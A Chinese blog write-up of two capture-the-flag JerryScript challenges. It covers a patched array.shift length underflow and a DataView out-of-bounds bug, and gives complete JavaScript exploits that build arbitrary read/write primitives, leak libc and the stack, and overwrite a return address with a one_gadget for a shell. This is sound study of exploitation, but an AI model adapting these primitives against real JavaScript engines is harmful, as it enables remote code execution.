默认分类

JS引擎的漏洞学习

前言,入门二进制之后将基础的栈、格式化 以及堆学过了,IO_FILE还没有完全弄懂,准备先搁置下。毕竟不是为了打比赛而学的 没必要搞成比赛套路形式学习。一直对JS引擎的漏洞 包括 浏览器这些比较感兴趣。于是从简单的JS引擎开始学习一些漏洞。主要来源于一些 比赛魔改 rw 出现的漏洞。大致看了看感觉很多手法还是和传统的非常一致。当然由于其环境问题在不同的环境下偏移不同,很多师傅选择了稳定的打法 比如搞IO以及其他的。但我主要本地调试还是会主要使用调偏移的方法来搞。

JerryScript

一个轻量级的JS引擎,被广泛应用于各种IOT设备上。底层实现是C的,给了很多模块适用于不同场景,可以单独编译各个模块进行使用。

深育杯 helloJerry

编译过程&调试方法

首先看一下题目的版本:
2022-08-07T10:33:30.png

在github上拉最新版的下来git reset --hard $(version)
然后改源码的patch部分 也就是漏洞处。同时修改jerryscript/jerry-core/jrt/jrt.h 把JerryASERT统一为DEBUG模式的,不然有错误就直接退出了。
最后编译:
python3 tools/build.py --debug --logging=on --error-messages=on --line-info=on

调试的话如果懒得IDA看地址的话就只能在源码上打断了,不过这也好看了很多。
我就直接在main的exit处打了一个,然后在漏洞点进入口,和触发点各打了一个。
`
b home/pwn/Desktop/JS-EnginePwn/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-array-prototype.c:713
b home/pwn/Desktop/JS-EnginePwn/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-array-prototype.c:731
b home/pwn/Desktop/JS-EnginePwn/jerryscript/jerry-main/main-jerry.c:363
set args ./exp.js
`

解决过程

感谢 callmecro@r3kapig 师傅的题解以及一些帮助。
给了patch文件如下


diff --git a/jerry-core/ecma/builtin-objects/ecma-builtin-array-prototype.c b/jerry-core/ecma/builtin-objects/ecma-builtin-array-prototype.c
index 52b84f89..57064139 100644
--- a/jerry-core/ecma/builtin-objects/ecma-builtin-array-prototype.c
+++ b/jerry-core/ecma/builtin-objects/ecma-builtin-array-prototype.c
@@ -729,7 +729,7 @@ ecma_builtin_array_prototype_object_shift (ecma_object_t *obj_p, /**< object */

       buffer_p[len - 1] = ECMA_VALUE_UNDEFINED;
       ecma_delete_fast_array_properties (obj_p, (uint32_t) (len - 1));
-
+      ecma_delete_fast_array_properties (obj_p, (uint32_t) (len - 2));
       return ret_value;
     }
   }

可以看到是 builtin-array下对应的类的原型方法。也就是array.shift(),正常情况下这个方法是移除第一个元素,并且改变数组长度。那么很显然的这里的数组长度被减了2,那么也就是原长度为1的数组在shift之后长度会下溢。
那么测试一下:

let a=["1"]
a.shift()

2022-08-07T10:41:13.png
可以看到数组长度已经变成了 0xffffffff。那么有了一个超长数组就可以实现任意读了。


接上述。tm调了一天多 感觉不同小版本的glibc 都会有不同的内存。wp完全没法复现,只能靠自己。感谢学弟ayoung带我做题了。用了韩爹的一个模板来做。用死循环来卡死 用ctrl c直接断,然后从jerry_global_heap + search找对应的值。

我们现在有一个越界的a数组,这a数组的存值也是个贵物,高4位低4位都不用,就用中间3字节,然后 他这8字节的机器字长有时候合起来用 有时候分开2个4字节用。 还有个大端 和 小端的问题。那么接下来 我们能够找到指向ArrayBuffer 的 Dataview指针。
2022-08-09T11:02:05.png

红色那里存的是arraybuffer长度,然后大红框前面存的0x1000是Dataview长度,那么我们就在想如果可以通过2个Dataview,将其中一个Dataview的指针进行任意修改。再用另一个能够长度越界的Dataview进行 任意写 就可以实现泄露+写。如果我们想劫持程序的控制流实现getshell 我们就需要的是能够让他跳转到 ogg上,也就是希望能够控制其栈地址。栈地址可以利用libc里面的environ拿。那么从头开始搞。首先要做的是找a数组的偏移 从而修改第一个Dataview的长度。

function printhex(s,u){
    print(s,"0x" + u[1].toString(16).padStart(8, '0') + u[0].toString(16).padStart(8, '0'));
}

function hex(i){
    return "0x" + i.toString(16).padStart(16, '0');
}

function pack64(u){
    return u[0] + u[1] * 0x100000000;
}

function l32(data){
    let result = 0;
    for(let i=0;i<4;i++){
        result <<= 8;
        result |= data & 0xff;
        data >>= 8;
    }
    return result;
}

let a = [1.1];
a.shift();
var ab = new ArrayBuffer(0x1337);
var dv = new DataView(ab);
dv.setUint32(0, 0x41414141, true);
dv.setUint32(4, 0x42424242, true);

var ab2 = new ArrayBuffer(0x1338);
var dv2 = new DataView(ab2);

var dv2 = new DataView(ab2);
for(let i = 0; i < 90; i++){
        dv2 = new DataView(ab2);
}
a[210]=74496;
a[211]=74496;
a[324]=74496;
a[323]=74496;
a[423]=0xffffff;
print(a[12]);

这里我输出a[12]的值,并以此为索引, 同时我再去找0x1337 因为这个长度也会在global_heap中,之后就是无尽的调试以及计算找长度。会比较麻烦。最后找到a[423]成功修改了长度。

然后我们希望得到dv和dv2之间的偏移,通过爆破找:

print("[+]change dv range");
var idx = 0;
for(let i = 0; i < 1000000; i++){
}
for (let i = 1; i < 0xf000; i++){
    let v = dv.getUint32(i, 1);
    if(v == 0x1338){
        idx = i;
   }
}

可以得到这样的结果:
2022-08-09T11:11:05.png
得到偏移之后,去读dv2 指向ArrayBuffer的指针:

var u = new Uint32Array(2);
u[0] = dv.getUint32(idx + 4, 1);
u[1] = dv.getUint32(idx + 8, 1);
print(hex(pack64(u)));

拿到之后因为是bss上的,和elfbase偏移一定,直接算elfbase。

var elf_base = new Uint32Array(2);
elf_base[0] = u[0]-0xca848;
elf_base[1] = u[1];
printhex("elf_base:",elf_base);

2022-08-09T11:21:37.png
2022-08-09T11:21:45.png
验证没问题之后继续往下走。
然后可以读got表里面的内容,读一下free_got
2022-08-09T11:28:56.png
直接leak libc

for(let i=1;i<0x1000;i++){}

var free_got = new Uint32Array(2);
free_got[0] = elf_base[0] + 0xc6dd8-0x10;
free_got[1] = elf_base[1];
printhex("free_got:",free_got);

for(let i = 0; i < 1000000; i++){
}

var libc_base = arb_read(free_got);
libc_base[0] -= 0x9a6d0;
printhex("libc_base:",libc_base);

2022-08-09T11:43:11.png
2022-08-09T11:43:24.png

然后要去读environ地址。并算偏移。

var environ_addr = new Uint32Array(2);
environ_addr[0] = libc_base[0] + 0x229138-0x10;
environ_addr[1] = libc_base[1];
printhex("environ_addr:",environ_addr);
var stack_addr = arb_read(environ_addr);
stack_addr[0] -= 0x118;
printhex("stack_addr:",stack_addr);

再main函数打一个断点,算一下 rsp+8和environ的偏移,为0x118,也就是要往这里写。

那么直接ogg,找一个可写的寄存器去满足条件就行了。

var one_gadget = new Uint32Array(2);
one_gadget[0] = (libc_base[0] + 0xe3afe);
one_gadget[1] = libc_base[1];
arb_write(stack_addr,one_gadget);
printhex("one_gadget:",one_gadget);
var zero = new Uint32Array(2);
zero[0] = 0;
zero[1] = 0;
stack_addr[0] -= 0x29;
arb_write(stack_addr,zero);

最后成功getshell
2022-08-09T13:32:08.png

完整利用 from 学弟:

function printhex(s,u){
    print(s,"0x" + u[1].toString(16).padStart(8, '0') + u[0].toString(16).padStart(8, '0'));
}

function hex(i){
    return "0x" + i.toString(16).padStart(16, '0');
}

function pack64(u){
    return u[0] + u[1] * 0x100000000;
}

function l32(data){
    let result = 0;
    for(let i=0;i<4;i++){
        result <<= 8;
        result |= data & 0xff;
        data >>= 8;
    }
    return result;
}

let a = [1.1];
a.shift();
var ab = new ArrayBuffer(0x1337);
var dv = new DataView(ab);
dv.setUint32(0, 0x41414141, true);
dv.setUint32(4, 0x42424242, true);

var ab2 = new ArrayBuffer(0x1338);
var dv2 = new DataView(ab2);

var dv2 = new DataView(ab2);
for(let i = 0; i < 90; i++){
    dv2 = new DataView(ab2);
}
a[391] = 0xffffff;
print("[+]change dv range");
var idx = 0;
for(let i = 0; i < 1000000; i ++){
}
for (let i = 1; i < 0xf000; i++){
    let v = dv.getUint32(i, 1);
    if(v == 0x1338){
        idx = i;
   }
}
print("Get idx!");

function arb_read(addr){
    dv.setUint32(idx + 4, l32(addr[0]));
    dv.setUint32(idx + 8, l32(addr[1]));
    for(let i = 0; i < 1000000; i ++){
}
    let result = new Uint32Array(2);
    result[0] = dv2.getUint32(0, 1);
    result[1] = dv2.getUint32(4, 1);
    return result;
}

function arb_write(addr,val){
    dv.setUint32(idx + 4, l32(addr[0]));
    dv.setUint32(idx + 8, l32(addr[1]));
    dv2.setUint32(0, l32(val[0]));
    dv2.setUint32(4, l32(val[1]));
}

var u = new Uint32Array(2);
u[0] = dv.getUint32(idx + 4, 1);
u[1] = dv.getUint32(idx + 8, 1);
print(hex(pack64(u)));

var elf_base = new Uint32Array(2);
elf_base[0] = u[0]-0xca9b8;
elf_base[1] = u[1];
printhex("elf_base:",elf_base);

var free_got = new Uint32Array(2);
free_got[0] = elf_base[0] + 0xC6DD0-8;
free_got[1] = elf_base[1];
printhex("free_got:",free_got);
for(let i = 0; i < 10000000; i ++){
}
var libc_base = arb_read(free_got);
libc_base[0] -= 0x9a6d0;
printhex("libc_base:",libc_base);

var environ_addr = new Uint32Array(2);
environ_addr[0] = libc_base[0] + 0x229138-0x10;
environ_addr[1] = libc_base[1];
printhex("environ_addr:",environ_addr);
var stack_addr = arb_read(environ_addr);
stack_addr[0] -= 0x118;
printhex("stack_addr:",stack_addr);

var one_gadget = new Uint32Array(2);
one_gadget[0] = (libc_base[0] + 0xe3afe);
one_gadget[1] = libc_base[1];
arb_write(stack_addr,one_gadget);
printhex("one_gadget:",one_gadget);
var zero = new Uint32Array(2);
zero[0] = 0;
zero[1] = 0;
stack_addr[0] -= 0x29;
arb_write(stack_addr,zero);


print("finish")
for(let i = 0; i < 0xa00000; i++){
}

n1ctf2021-jerry

这题直接给了一个OOB,比深育杯的更直接。还是利用老套路。dv写dv2指针.来实现任意读写。
洞是可以实现Dataview的越界。new Dataview(new arraybuffer(0x10),0,0x400)
泄露elf_base然后leak libc 最后写ogg即可。
直接放exp了,但有个比较玄学的问题。gdb 运行可以直接执行命令一次后就断了。 shell的话就直接segment fault了。
可能是我 leak的是libm,然后gdb调试的时候默认开ASLR。最后可能固定偏移变了。不过我懒得调了hhh 下次再也不看错了。

function printhex(s,u){
    print(s,"0x" + u[1].toString(16).padStart(8, '0') + u[0].toString(16).padStart(8, '0'));
}

function hex(i){
    return "0x" + i.toString(16).padStart(16, '0');
}

function pack64(u){
    return u[0] + u[1] * 0x100000000;
}

function l32(data){
    let result = 0;
    for(let i=0;i<4;i++){
        result <<= 8;
        result |= data & 0xff;
        data >>= 8;
    }
    return result;
}

var a=new ArrayBuffer(0x10);
var dv = new DataView(a,0,0x10000);
var b=new ArrayBuffer(0x1338);
var dv2=new DataView(b);
dv2.setUint32(0,0x41414141,true);

var idx = 0;

for(let i=1;i<0xf000;i++){
    let temp=dv.getUint32(i,1);
    //print(temp,0x1338)
    if(temp==0x1338){
        print("Find the idx")
        idx=i;
        print(idx)
        break;
    }
}
var u=new Uint32Array(2);
u[1]=dv.getUint32(idx+8,1);
u[0]=dv.getUint32(idx+4,1);

var elf_base=new Uint32Array(2);
elf_base[0]=u[0]-0x6e060-0xa8-0xd8-0xa8-0x98;
elf_base[1]=u[1];
print("elf_base addr:",hex(pack64(elf_base)));

for(let i = 0 ;i<10;i++){}    

function arb_read(addr){
    dv.setUint32(idx + 4, l32(addr[0]));
    dv.setUint32(idx + 8, l32(addr[1]));
    for(let i = 0; i < 1000000; i ++){
}
    let result = new Uint32Array(2);
    for(let i = 0; i < 1000000; i++){
    }
    result[0] = dv2.getUint32(0, 1);
    for(let i = 0; i < 1000000; i++){
    }
    result[1] = dv2.getUint32(4, 1);
    
    return result;
}

function arb_write(addr,val){
    dv.setUint32(idx + 4, l32(addr[0]));
    dv.setUint32(idx + 8, l32(addr[1]));
    dv2.setUint32(0, l32(val[0]));
    dv2.setUint32(4, l32(val[1]));
}



var exit_got=new Uint32Array(2);

exit_got[0]=elf_base[0]+0x00000000006bde0-0x10;
exit_got[1]=elf_base[1];

printhex("exit_got:",exit_got);
for(let i=0;i<2;i++){}

var free_got=new Uint32Array(2);
free_got=arb_read(exit_got);
printhex("free_got:",free_got);

var libc_addr=new Uint32Array(2);
libc_addr[0]=free_got[0]-0x1e96d0;
libc_addr[1]=free_got[1];

printhex("libc_addr",libc_addr);

var environ_addr=new Uint32Array(2);
environ_addr[0]=libc_addr[0]+0x389138-0x10;
environ_addr[1]=libc_addr[1];

var stack_addr=new Uint32Array(2);
stack_addr=arb_read(environ_addr);
printhex("stack_addr:",stack_addr);

var target_stack=new Uint32Array(2);
target_stack[0]=stack_addr[0]-0x108-0x10;
target_stack[1]=stack_addr[1];
var ogg_addr=new Uint32Array(2);
ogg_addr[0]=libc_addr[0]+0x14f000+0xe3b01;
ogg_addr[1]=libc_addr[1]
printhex("ogg_addr:",ogg_addr);

arb_write(target_stack,ogg_addr);


for(let i = 0; i < 0xa00000; i++){
}

print("finish")
for(let i = 0; i < 0xa00000; i++){
}

2022-08-16T03:57:10.png

mujs

v8

回复

This is just a placeholder img.